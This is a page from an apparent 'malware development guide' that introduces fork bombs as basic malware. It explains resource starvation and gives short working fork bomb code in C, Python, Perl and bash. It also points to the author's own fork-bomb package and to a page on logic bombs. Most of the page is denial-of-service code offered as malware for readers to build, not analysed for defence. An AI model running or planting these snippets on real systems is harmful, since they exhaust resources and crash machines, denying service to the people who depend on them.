> For the complete documentation index, see [llms.txt](https://arachn3.gitbook.io/malware-development-guide/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://arachn3.gitbook.io/malware-development-guide/basic-malware/fork-bombs.md).

# Fork Bombs

Ok, so beginning with some basic malware... The simplest of all is a **Fork Bomb.** Wikipedia defines them a&#x73;**:**

> A fork bomb (also called rabbit virus or wabbit) is a [denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack) wherein a [process](https://en.wikipedia.org/wiki/Process_\(computing\)) continually replicates itself to deplete available system resources, slowing down or crashing the system due to [resource starvation](https://en.wikipedia.org/wiki/Resource_starvation).

Every process that runs on your computer requires some *"computing power",* and every computer has a limited amount of said computing power. So, if we make a program that consumes all of this computing power, we can essentially render the system (either temporarily or permanently) unusable. Now, there are *a lot* of ways to do this. But the core concept is that of *forking a process.* Which means that the process creates a copy of itself (often called the *child*).

Here are some examples of fork bombs implemented in different mediums/languages:

A fork bomb written in `C`:

```c
#include <unistd.h>

int main() { 
    while(1) { fork(); }
}
```

A fork bomb written in `python`:

```python
import os; 
while 1:
    os.fork()
```

A fork bomb written in `perl`:

```perl
fork while fork
```

A fork bomb written in `bash`:

```bash
!/bin/bash
./$0|./$0&     # $0 is the name of the shell script itself
```

In each example, the core concept is the same, the parent process creates a child process indefinitely.

If you wish to see an... *overengineered* example of a fork bomb, you can have a look at a package I wrote called **GFB:**&#x20;

{% embed url="<https://github.com/ARaChn3/gfb>" %}
Docs: <https://pkg.go.dev/github.com/ARaChn3/gfb>
{% endembed %}

***NOTE:*** The GFB package actually makes use of yet another package I wrote for a logic bomb, so if you wanna look into it, please do consider first reading up on [Logical Bombs](/malware-development-guide/basic-malware/logical-bombs.md).
